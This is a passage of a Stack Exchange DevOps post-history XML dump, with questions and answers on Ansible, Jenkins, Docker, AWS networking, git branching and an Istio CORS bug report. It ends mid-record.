  <row Id="35817" PostHistoryTypeId="2" PostId="11699" RevisionGUID="97769260-c794-458a-93ee-47d6e5adc07f" CreationDate="2020-05-26T17:41:23.373" UserId="18321" Text="I understood with the help of the documentation above how to replace environment variables.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```````&#xD;&#xA;- hosts: hostnames&#xD;&#xA;  remote_user: root&#xD;&#xA;  gather_facts: no&#xD;&#xA;  vars:&#xD;&#xA;    ansible_remote_tmp: /tmp&#xD;&#xA;  tasks:&#xD;&#xA;  ...&#xD;&#xA;````````&#xD;&#xA;&#xD;&#xA;Also, it's possible to replace in the separate tasks.&#xD;&#xA;&#xD;&#xA;[Ansible documentation about playbook environment][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_environment.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="35818" PostHistoryTypeId="2" PostId="11700" RevisionGUID="77a11d7d-5b9c-4225-88ab-1afcc9f55905" CreationDate="2020-05-26T18:38:49.627" UserId="22441" Text="I want to setup a CD system for a yocto project which is version controlled in a bitbucket repository. I want to write a bitbucket pipeline which triggers a jenkins job on a build server which starts a yocto build. The reason for this is that yocto builds can take up anywhere to 6h for complete rebuilds and thats pretty costintensive with bitbucket pipelines. My idea to test this setup was to use docker containers so I can test the whole setup locally with ngrok. There are some questions I have regarding this:&#xD;&#xA;&#xD;&#xA;* does the containerized setup for this make sense?&#xD;&#xA;* can I mark a bitbucket pipeline build from the outside as in progress/completed/failed?&#xD;&#xA;* what is the nicest way to trigger a jenkins job from bitbucket pipelines? Webhooks?&#xD;&#xA;* how can I make jenkins differentiate between two branches when triggered by bitbucket pipelines?&#xD;&#xA;&#xD;&#xA;The setup I am pondering with atm are two docker containers. One is running the jenkins server and the other is the build server with a custom image, which I have verified working. I found that you can instrument multiple containers using docker-compose so I came up with this docker-compose.yml:&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;    yocto-server:&#xD;&#xA;        build: .&#xD;&#xA;        container_name: yocto-server&#xD;&#xA;        networks:&#xD;&#xA;            - build-network&#xD;&#xA;&#xD;&#xA;    jenkins-master:&#xD;&#xA;        image: jenkins/jenkins&#xD;&#xA;        privileged: true&#xD;&#xA;        working_dir: /home/jenkins&#xD;&#xA;        depends_on:&#xD;&#xA;            - yocto-server&#xD;&#xA;        ports:&#xD;&#xA;            - 8080:8080&#xD;&#xA;        networks:&#xD;&#xA;            - build-network&#xD;&#xA;        links:&#xD;&#xA;            - yocto-server&#xD;&#xA;networks:&#xD;&#xA;    build-network:&#xD;&#xA;        driver: bridge&#xD;&#xA;```&#xD;&#xA;Can jenkins invoke a command via ssh/telnet/docker magic to the second container with this setup?&#xD;&#xA;Because as I see it I have to do the following steps:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - mark the build in bbp as in progress&#xD;&#xA; -  if repository is present in the container pull and checkout a specific branch&#xD;&#xA; - if repository is not pressent in the container clone it first&#xD;&#xA; run the build with parameters provided by jenkins&#xD;&#xA; - depending on the exit code of the build flag the bbp build as completed/successfull&#xD;&#xA; - upload the artifacts to bitbucket&#xD;&#xA;&#xD;&#xA;I am very thankful for any inside on this because I have very little knowledge about docker-compose and jenkins. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35819" PostHistoryTypeId="1" PostId="11700" RevisionGUID="77a11d7d-5b9c-4225-88ab-1afcc9f55905" CreationDate="2020-05-26T18:38:49.627" UserId="22441" Text="Bitbucket Pipeline &amp; Jenkins &amp; Yocto" ContentLicense="CC BY-SA 4.0" />
  <row Id="35820" PostHistoryTypeId="3" PostId="11700" RevisionGUID="77a11d7d-5b9c-4225-88ab-1afcc9f55905" CreationDate="2020-05-26T18:38:49.627" UserId="22441" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35821" PostHistoryTypeId="5" PostId="11687" RevisionGUID="d910d870-6c83-4e8d-b942-779e2c383009" CreationDate="2020-05-26T19:13:00.757" UserId="739" Comment="copy edit and amazon-ecs tag" Text="I am trying to tag commit hash and app version onto the ECS service to make it easier for developers to identify the service with the code. &#xD;&#xA;&#xD;&#xA;But I get this error&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ aws ecs tag-resource --resource-arn arn:aws:ecs:ap-southeast-1:12344556677:service/master-web-dev-WebECSServices --tags key=COMMITHASH,value=85491def key=VERSION,value=0.2.4&#xD;&#xA;An error occurred (InvalidParameterException) when calling the TagResource operation: Long arn format must be used for tagging operations&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there any problem with the ARN? Why do I always get this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35822" PostHistoryTypeId="6" PostId="11687" RevisionGUID="d910d870-6c83-4e8d-b942-779e2c383009" CreationDate="2020-05-26T19:13:00.757" UserId="739" Comment="copy edit and amazon-ecs tag" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35823" PostHistoryTypeId="2" PostId="11701" RevisionGUID="fd4e7c37-ec05-4144-9a31-6815d40712c9" CreationDate="2020-05-26T19:24:25.110" UserId="22443" Text="We had a similar case, where an image doesn't build and had been raising the issue above (while it worked on other machines) we had put a lot of time and efforts to upgrade Docker (on Ubuntu 18.04), clean up all images, volumes ...try many staff to debug, but as crazy as it sounds, after just explicitly restarting the docker service, it has resolved itself. (I wouldn't be able to explain what happened exactly)&#xD;&#xA;&#xD;&#xA;So always first try the old &quot;have you(I) turned it on and off again (explicitly)&quot;!&#xD;&#xA;&#xD;&#xA;btw before purging images.., at the all beginning have had a different message (it was complaining about access to some Python packages permission)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35824" PostHistoryTypeId="2" PostId="11702" RevisionGUID="5a46367e-ba89-4d6e-aedf-0510cae5d15c" CreationDate="2020-05-26T22:07:58.663" UserId="22446" Text="Can anyone recommend an alternative to Ansible that lets one write straight Python code? In my group, we're finding that expressing pretty simple logic in Ansible ends up being too time-consuming and ugly to specify. Also, the bunny trails that you end up going down to debug simple Ansible problems take way too much time.&#xD;&#xA;&#xD;&#xA;Sometimes it takes hours to do (or debug) something that would take 30 seconds in straight Python.&#xD;&#xA;&#xD;&#xA;The nice things about Ansible are:&#xD;&#xA;&#xD;&#xA; - A nice set of concepts like roles, hosts, tasks, and playbooks.&#xD;&#xA; - A nice library of preexisting modules.&#xD;&#xA;&#xD;&#xA;.. but if one were looking for something that preserves some of those nice things from Ansible, but allows one to write straight Python for all of the configuration and logic, are there any recommendations?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35825" PostHistoryTypeId="1" PostId="11702" RevisionGUID="5a46367e-ba89-4d6e-aedf-0510cae5d15c" CreationDate="2020-05-26T22:07:58.663" UserId="22446" Text="straight python alternative to ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="35826" PostHistoryTypeId="3" PostId="11702" RevisionGUID="5a46367e-ba89-4d6e-aedf-0510cae5d15c" CreationDate="2020-05-26T22:07:58.663" UserId="22446" Text="&lt;ansible&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35827" PostHistoryTypeId="2" PostId="11703" RevisionGUID="bdbcad2e-9d65-4cb0-93c8-a85a85a2080a" CreationDate="2020-05-27T03:21:59.433" UserId="22450" Text="I have a variable named packages as showed below, it is not a plain list, I have some nested dict in it like browsers.&#xD;&#xA;```yaml&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;packages:&#xD;&#xA;  - apt-file&#xD;&#xA;  - axel&#xD;&#xA;  - ibus-rime&#xD;&#xA;  - rofi&#xD;&#xA;  - i3&#xD;&#xA;  - ffmpeg&#xD;&#xA;  - xclip&#xD;&#xA;  - cargo&#xD;&#xA;  - httpie&#xD;&#xA;  - ttf-ubuntu-font-family&#xD;&#xA;  - tldr-py&#xD;&#xA;  - glances&#xD;&#xA;  browsers:&#xD;&#xA;    - brave-browser&#xD;&#xA;    - chromium&#xD;&#xA;  editors:&#xD;&#xA;    - emacs&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'd like to use instructions like below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Install a list of packages&#xD;&#xA;	become: yes&#xD;&#xA;	apt:&#xD;&#xA;		name: &quot;{{ packages }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to install all the pacakges defined in the variable, but I do not know what filter I should use the convert the variable to plain list, I need the items in the nested dictionary.&#xD;&#xA;&#xD;&#xA;any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="35828" PostHistoryTypeId="1" PostId="11703" RevisionGUID="bdbcad2e-9d65-4cb0-93c8-a85a85a2080a" CreationDate="2020-05-27T03:21:59.433" UserId="22450" Text="How do a flaten a list mixed with nested dict in ansible playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35829" PostHistoryTypeId="3" PostId="11703" RevisionGUID="bdbcad2e-9d65-4cb0-93c8-a85a85a2080a" CreationDate="2020-05-27T03:21:59.433" UserId="22450" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35830" PostHistoryTypeId="2" PostId="11704" RevisionGUID="6ba0a47b-51ac-492d-a961-c77e2e062d9d" CreationDate="2020-05-27T05:55:47.350" UserId="22452" Text="I've recently taken over the CI management for a medium-sized team of developers. Currently, we have one Jenkins server instance as well as six other instances of Jenkins agents to build upon. We have been using labels to determine which builds to run. For example, some instances are setup to run under environments A or B. In the future, we would like to add more instances of A and B, as well as add new environments, e.g., C, D.&#xD;&#xA;&#xD;&#xA;My goal now is to unify these build environments and define them in one place to allow for better scale-ability and ease of management of these instances. Docker seems to be a solution to this approach. I know that I can create a Docker image for each of my individual environments. What I don't know is how to distribute the image into containers across my six machine instances. The solution I am looking for involves allowing multiple docker containers to be spun up on a single instance (docker host?), but only if needed (i.e., the scenario when all other hosts are currently hosting a container). Additionally, I need a solution that supports Windows and Linux based hosts.&#xD;&#xA;&#xD;&#xA;I know that Docker support in Jenkins seems to be based largely via plugins, so I was hoping for some direction in which plugin to research first.&#xD;&#xA;&#xD;&#xA;Thanks for your time." ContentLicense="CC BY-SA 4.0" />
  <row Id="35831" PostHistoryTypeId="1" PostId="11704" RevisionGUID="6ba0a47b-51ac-492d-a961-c77e2e062d9d" CreationDate="2020-05-27T05:55:47.350" UserId="22452" Text="How can I unify my distributed build environments using Jenkins and Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35832" PostHistoryTypeId="3" PostId="11704" RevisionGUID="6ba0a47b-51ac-492d-a961-c77e2e062d9d" CreationDate="2020-05-27T05:55:47.350" UserId="22452" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35833" PostHistoryTypeId="2" PostId="11705" RevisionGUID="34c10172-1d4b-4cfb-89a1-f0f7e0a9f94b" CreationDate="2020-05-27T07:46:58.663" UserId="19083" Text="Just a quick follow-up on [pumba](https://github.com/alexei-led/pumba#stress-testing-docker-containers). Installation (for Ubuntu):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ curl -SL https://github.com/alexei-led/pumba/releases/download/0.7.2/pumba_linux_amd64 -O&#xD;&#xA;$ sudo mv pumba_linux_amd64 /usr/bin/pumba&#xD;&#xA;$ sudo chmod +x /usr/bin/pumba&#xD;&#xA;$ pumba --version&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It uses [stress-ng](https://wiki.ubuntu.com/Kernel/Reference/stress-ng) under the hood, so same commands apply. Examples: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. &#xD;&#xA;    ```&#xD;&#xA;    $ pumba stress -d 1m container_name&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;    `-d 1m` - duration of a stress test (1 minute)&#xD;&#xA;&#xD;&#xA;    `container_name` - your target container (from `docker ps` output)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; 1. &#xD;&#xA;    ```&#xD;&#xA;    $ pumba stress -d 30s --stressors &quot;--vm 10 --vm-bytes 512M --vm-hang 20&quot; container_name&#xD;&#xA;    ```&#xD;&#xA;    `-d 30` - duration 30 seconds&#xD;&#xA;&#xD;&#xA;    `-stressors` - parameters passed to *stress-ng* app&#xD;&#xA;    &#xD;&#xA;    In this particular example we create 10 workers spinning on *malloc()/free()* allocating `512MB` each and sleep 20 seconds before freeing the memory.&#xD;&#xA;&#xD;&#xA;Default stressor as in first example is `--cpu 4 --timeout 60s`" ContentLicense="CC BY-SA 4.0" />
  <row Id="35835" PostHistoryTypeId="2" PostId="11706" RevisionGUID="a5c53a65-6070-4d05-ab3a-4bbe99d12e76" CreationDate="2020-05-27T11:38:24.207" UserId="17684" Text="Although it's too late to answer on this thread but it might help someone going forward.&#xD;&#xA;&#xD;&#xA;Only solution worked for me is to switch Jenkins from service to standalone. Unfortunately other solutions didn't work for me may be because latest version of Windows 10 doesn't at all allow running GUI apps from services. However, information given by Dev was very useful in understanding why I was facing the problem.&#xD;&#xA;&#xD;&#xA;But while switching Jenkins from service to standalone, you'll have to reconfigure the server completely. So to avoid that I've detailed the steps to backup, safe exit (service), startup (standalone) and restore.&#xD;&#xA;&#xD;&#xA; 1. While service instance is running, install [ThinBackup][1] plugin, do the required settings and take the backup of Jenkins jobs, plugins, user data, configuration, etc.&#xD;&#xA; 2. Safely stop the Jenkins service instance using the URL - [jenkins-url]/exit (e.g. http://localhost:8080/exit).&#xD;&#xA; 3. Launch terminal, navigate to Jenkins installation directory and run the command: `java -jar jenkins.war` and let the server start.&#xD;&#xA; 4. Use the same url as earlier, do the initial configuration as per recommended plugins, login by creating new credentials.&#xD;&#xA; 5. Install [ThinBackup][1] plugin on the standalone instance and restore the backup. This will take few minutes to complete.&#xD;&#xA;&#xD;&#xA;Now you'll be able to run the tests by actually launching the browser as well as use Jenkins server as configured earlier.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Note:** The standalone instance won't have the auto startup of the server as was the case with service instance. In order to achieve that create a batch file having Jenkins startup command as above and follow the steps described [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/thinBackup/&#xD;&#xA;  [2]: https://support.microsoft.com/en-us/help/4558286/windows-10-add-an-app-to-run-automatically-at-startup" ContentLicense="CC BY-SA 4.0" />
  <row Id="35836" PostHistoryTypeId="2" PostId="11707" RevisionGUID="b34f8769-cd1c-494c-860e-2330965220fd" CreationDate="2020-05-27T13:00:30.693" UserId="22458" Text="I wish that was possible, but it seems there's nothing yet. However, I found a decent workaround: you can select column 'Project Description'. Of course, in the project description you can write anything. That includes html code, so for example, you can use that to include links in your dashboard." ContentLicense="CC BY-SA 4.0" />
  <row Id="35837" PostHistoryTypeId="2" PostId="11708" RevisionGUID="77ec06fb-1243-4a2c-b27d-175d7790f7b9" CreationDate="2020-05-27T13:53:43.630" UserId="22459" Text="i have my local docker CLI binary connected with a docker daemon on the LAN (or better say on the same machine). for certain duties this daemon needs to connect to the internet via a company firewall/proxy system. (the system is based upon Ubuntu 16.04 LTS - the issue might be relevant for a lot more similar systems.)&#xD;&#xA;&#xD;&#xA;the daemon is configured similar to this snippet from [Ultimate Guide to Docker HTTP Proxy Configuration][1] as shown in case #2 for the file `/etc/systemd/system/docker.service.d/http-proxy.conf`:&#xD;&#xA;&#xD;&#xA;    [Service]&#xD;&#xA;    Environment=&quot;HTTP_PROXY=http://your.proxy:8080&quot;&#xD;&#xA;    Environment=&quot;HTTPS_PROXY=http://your.proxy:8080&quot;&#xD;&#xA;    Environment=&quot;NO_PROXY=127.0.0.1,localhost&quot;&#xD;&#xA;&#xD;&#xA;for this config to finally work i have to add (with sudo rights elevation) &quot;username:password@&quot; upfront the &quot;your.proxy&quot; part of the server name.&#xD;&#xA;&#xD;&#xA;then i am operating/restarting the systemd and daemon:&#xD;&#xA;&#xD;&#xA;    sudo systemctl daemon-reload&#xD;&#xA;    sudo systemctl restart docker&#xD;&#xA;&#xD;&#xA;finally i am checking (as a simple user) the result:&#xD;&#xA;&#xD;&#xA;    systemctl show --property=Environment docker&#xD;&#xA;&#xD;&#xA;It results in something like this (the environment items seemingly listed in a space separated fashion):&#xD;&#xA;&#xD;&#xA;    Environment=HTTP_PROXY=http://username:password@your.proxy:8080 HTTPS_PROXY=http://username:password@your.proxy:8080 NO_PROXY=127.0.0.1,localhost&#xD;&#xA;&#xD;&#xA;As you can see this simple user command unveils the proxy credentials. I definitely dont want that to be.&#xD;&#xA;&#xD;&#xA;How can i prevent any ordinary user from retriving these set of proxy credentials? Is there a method that copes with the systemd environment concept? or is some alternate method needed, if yes, which one?&#xD;&#xA;&#xD;&#xA;  [1]: https://elegantinfrastructure.com/docker/ultimate-guide-to-docker-http-proxy-configuration/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35838" PostHistoryTypeId="1" PostId="11708" RevisionGUID="77ec06fb-1243-4a2c-b27d-175d7790f7b9" CreationDate="2020-05-27T13:53:43.630" UserId="22459" Text="how to protect proxy credentials of a local docker daemon run by systemd from viewing by ordinary users?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35839" PostHistoryTypeId="3" PostId="11708" RevisionGUID="77ec06fb-1243-4a2c-b27d-175d7790f7b9" CreationDate="2020-05-27T13:53:43.630" UserId="22459" Text="&lt;ubuntu&gt;&lt;docker-daemon&gt;&lt;systemd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35840" PostHistoryTypeId="33" PostId="11661" RevisionGUID="7c30a426-fb28-44ca-bd82-a8ad52e1d8d7" CreationDate="2020-05-27T16:15:46.940" UserId="11995" Comment="56" />
  <row Id="35841" PostHistoryTypeId="2" PostId="11709" RevisionGUID="88cf75d8-9b99-4761-bcbc-719e9693b3b7" CreationDate="2020-05-27T17:03:05.197" UserId="4115" Text="I think you're asking too many questions in one post for the StackExchange QA format, but I can address the Bitbucket-related questions.&#xD;&#xA;&#xD;&#xA;* For automatically setting up jobs for each branch (and PR) in a Bitbucket project or repository, use the [official Bitbucket Branch Source plugin](https://plugins.jenkins.io/cloudbees-bitbucket-branch-source/).  This will also take care of the build status aspect of your question.&#xD;&#xA;* If you are using Bitbucket Cloud, the Bitbucket Branch Source plugin will also take care of creating webhooks in order to automatically trigger builds.&#xD;&#xA;* If you are using Bitbucket Server, you will need some other way of triggering builds.  I personally use the [pull request notifier](https://github.com/tomasbjerre/pull-request-notifier-for-bitbucket) plugin for Bitbucket since our workflow is PR-based, but you can use whatever plugin or tool works for you - there are a ton of them out there." ContentLicense="CC BY-SA 4.0" />
  <row Id="35847" PostHistoryTypeId="2" PostId="11711" RevisionGUID="182c1d75-9750-446d-a6aa-f4cbce16b89b" CreationDate="2020-05-28T07:26:37.697" UserId="22479" Text="In a container, there are RUN statements that you can add to a containerfile (such as a dockerfile) to add further dependencies using the package manager like APT or DNF within a container.&#xD;&#xA;&#xD;&#xA;What is the proper equivalent to performing this in Kubernetes with a YAML manifest? For example, I'd like to install git in my Jenkins container so as to be able to use the git plugin in that application.&#xD;&#xA;&#xD;&#xA;I tried to do this with &quot;command&quot; and &quot;args&quot; in the yaml, but it looks like it isn't executing as superuser? I get permission errors, and cannot install any packages that way." ContentLicense="CC BY-SA 4.0" />
  <row Id="35848" PostHistoryTypeId="1" PostId="11711" RevisionGUID="182c1d75-9750-446d-a6aa-f4cbce16b89b" CreationDate="2020-05-28T07:26:37.697" UserId="22479" Text="How do I install local application dependencies in a Kubernetes manifest?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35849" PostHistoryTypeId="3" PostId="11711" RevisionGUID="182c1d75-9750-446d-a6aa-f4cbce16b89b" CreationDate="2020-05-28T07:26:37.697" UserId="22479" Text="&lt;kubernetes&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35850" PostHistoryTypeId="2" PostId="11712" RevisionGUID="76914d75-a4ad-416f-8238-92b39b833915" CreationDate="2020-05-28T08:50:28.157" UserId="22454" Text="I agree with [Recoba20's answer][1] and I just want to add a couple of things.&#xD;&#xA;&#xD;&#xA;&gt; We generally look to git-flow for best practices.&#xD;&#xA;&#xD;&#xA;This means that &#xD;&#xA;&#xD;&#xA;1. at some point you also merge those branches into the mainline (the `master` branch).&#xD;&#xA;1. you are merging with the [`--no-ff` flag][2]&#xD;&#xA;&#xD;&#xA;If this is the case, then actually keeping the branches doesn't help your process in any way, _I think_. The changes are already in, and if you need a bug fix or a change, that means you will start a new branch from further down the line, and not from the original feature branch (according to git-flow).&#xD;&#xA;&#xD;&#xA;One thing that I can see happening is somehow messing up the mainline (or `release-X`), and you need to recreate a set of features brought together. If you already have the branches, i.e. not deleted, you can create a new release branch and merge the correct features back in. If you don't have the branches, that's not that big an issue, because by using `--no-ff` merges, there is a separate commit for when a branch is being merged in. And, as branches are just pointers to commits, you can just create a branch at that particular last commit, and it's just as you have never deleted it in the first place.&#xD;&#xA;&#xD;&#xA;&gt; Is it safe enough and not costly or degrading to performance to keep all of them?&#xD;&#xA;&#xD;&#xA;I'm not sure `git` itself would have problems with this, given that branches are just refs (a pointer to a commit), but at the same time it wouldn't surprise me for things to be slow in some cases, e.g. `clone`ing.&#xD;&#xA;&#xD;&#xA;One issue that I can see happening more likely is performance degradation of some `git` GUIs. For which I'd recommend some lightweight ones; I've used `gitk` for a long time and it's just right for having a quick overview of the commit tree.&#xD;&#xA;&#xD;&#xA;&gt; Are there [...] maintenance commands that developers need to execute every so often to have working, efficient, and responsive git ?&#xD;&#xA;&#xD;&#xA;I would just mention [`git branch --no-merged master`][3] for getting a list of branches not merged yet. It doesn't _fix_ anything, but gives a visual of what you're working with.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Having said that, I suggest you think about your development process more, and consider doing things a bit different. In my experience, most `git` problems are just symptoms of a process that's not quite tweaked for the intentions. `git` is just there and taking the hits. Having long running (days, weeks) feature branches makes it more likely to run into issues when integrating back.&#xD;&#xA;&#xD;&#xA;An alternative to this is to merge more often and/or to use [feature toggles][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/11233/22454&#xD;&#xA;  [2]: https://git-scm.com/docs/git-merge#Documentation/git-merge.txt---no-ff&#xD;&#xA;  [3]: https://git-scm.com/docs/git-branch#Documentation/git-branch.txt---no-mergedltcommitgt&#xD;&#xA;  [4]: https://martinfowler.com/bliki/FeatureToggle.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="35851" PostHistoryTypeId="2" PostId="11713" RevisionGUID="1a2d8d71-9426-4012-b522-8395e61b9cbe" CreationDate="2020-05-28T12:23:42.283" UserId="8049" Text="Remember that you should be engineering to your requirements around cost, resilience and performance.&#xD;&#xA;&#xD;&#xA;If your constraint is around cost, then yes, a single NAT gateway, with both subnets having routing tables that route public IP traffic to the NAT gateway is a viable approach.  If you are this cost sensitive, are you sure that AWS is the right hosting environment?&#xD;&#xA;&#xD;&#xA;If your constraint is around having all traffic arrive on the internet from a single elastic IP address, then may i suggest that having two NAT gateways in different subnets in different AZ's is a better choice. You will need one elastic IP address on the active NAT gateway, with routing tables for the private subnets pointing internet traffic to the active NAT gateway.  In the event of a network failure, have a script that moves the elastic IP address to the standby NAT, and then update the route tables to send internet traffic to the second NAT, making it now the active NAT.&#xD;&#xA;&#xD;&#xA;Do not fall into the false economy of thinking that you can spin up the replacement NAT at failover time, as it only takes a few seconds. When large catastrophic failures happen within AWS, the processes for the creation of new resources into the surviving AZ's become far busier than normal, and new requests seem to be queued. you would have an unpredictable RTO with this approach. A single NAT should be treated as accepting that on rare occasions, a 12 hour outage is acceptable.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35852" PostHistoryTypeId="5" PostId="11256" RevisionGUID="fa4c60aa-1806-449e-9018-07a29e79af9c" CreationDate="2020-05-28T12:41:40.010" UserId="17329" Comment="added 3326 characters in body; edited title" Text="**Bug description**&#xD;&#xA;1.2.2/1.2.10/1.4.0/1.5.1/1.5.2/1.5.3/1.5.4/1.6.0 - allowOrigins not blocking curl requests from different origins. Security vulnerability scan has detected this. When I curl if a domain match I get it as  access-control-allow-origin: https://testthat.com, but if doesn't match I get  access-control-allow-origin: *. I am expecting the request to be blocked.&#xD;&#xA;&#xD;&#xA;**Expected behavior**&#xD;&#xA;The specified origin unless being set to * should block everything else exclusively.&#xD;&#xA;&#xD;&#xA;**Steps to reproduce the bug**&#xD;&#xA;Create a virtual service with CORS allowOrigins set to https://testthat.com, simulate REST API to the service behind it assuming another ORIGIN and the request will return 200.&#xD;&#xA;&#xD;&#xA;On 1.6.0 I am using the virtualservice below to whitelist only single domain and with the following curl I am receiving 200 on a different, why isn't it blocked: curl -X OPTIONS 'https://api2.default.testthat.com/v1/test' -H &quot;Origin: https://testthat.com&quot; -v&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Please edit the object below. Lines beginning with a '#' will be ignored,&#xD;&#xA;# and an empty file will abort the edit. If an error occurs while saving this file will be&#xD;&#xA;# reopened with the relevant failures.&#xD;&#xA;#&#xD;&#xA;apiVersion: networking.istio.io/v1beta1&#xD;&#xA;kind: VirtualService&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/instance: qa-bom&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;    app.kubernetes.io/name: service-test&#xD;&#xA;    helm.sh/chart: service-test-0.1.0-release-2-7-0-4-227fd9a&#xD;&#xA;  name: service-test&#xD;&#xA;  namespace: qa&#xD;&#xA;spec:&#xD;&#xA;  gateways:&#xD;&#xA;  - api-gateway&#xD;&#xA;  hosts:&#xD;&#xA;  - service-test&#xD;&#xA;  - api2.qa.testthat.com&#xD;&#xA;  http:&#xD;&#xA;  - corsPolicy:&#xD;&#xA;      allowHeaders:&#xD;&#xA;      - Authorization&#xD;&#xA;      - Content-Type&#xD;&#xA;      allowMethods:&#xD;&#xA;      - POST&#xD;&#xA;      - GET&#xD;&#xA;      - PUT&#xD;&#xA;      - PATCH&#xD;&#xA;      - DELETE&#xD;&#xA;      allowOrigins:&#xD;&#xA;      - exact: https://testthat.com&#xD;&#xA;    match:&#xD;&#xA;    - gateways:&#xD;&#xA;      - api-gateway&#xD;&#xA;      method:&#xD;&#xA;        regex: GET|OPTIONS&#xD;&#xA;      uri:&#xD;&#xA;        regex: /v1/test/.*&#xD;&#xA;    route:&#xD;&#xA;    - destination:&#xD;&#xA;        host: service-test&#xD;&#xA;        port:&#xD;&#xA;          number: 8080&#xD;&#xA;        subset: active&#xD;&#xA;      weight: 100&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Version (include the output of `istioctl version --remote` and `kubectl version` and `helm version` if you used Helm)**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;./istioctl version --remote&#xD;&#xA;client version: 1.6.0&#xD;&#xA;control plane version: 1.6.0&#xD;&#xA;data plane version: 1.6.0 (57 proxies)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.3&quot;, GitCommit:&quot;5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-06-06T01:36:19Z&quot;, GoVersion:&quot;go1.12.5&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm version&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.13.0&quot;, GitCommit:&quot;79d07943b03aea2b76c12644b4b54733bc5958d6&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.13.0&quot;, GitCommit:&quot;79d07943b03aea2b76c12644b4b54733bc5958d6&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cat /etc/*release&#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=18.04&#xD;&#xA;DISTRIB_CODENAME=bionic&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 18.04.4 LTS&quot;&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.4 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.4 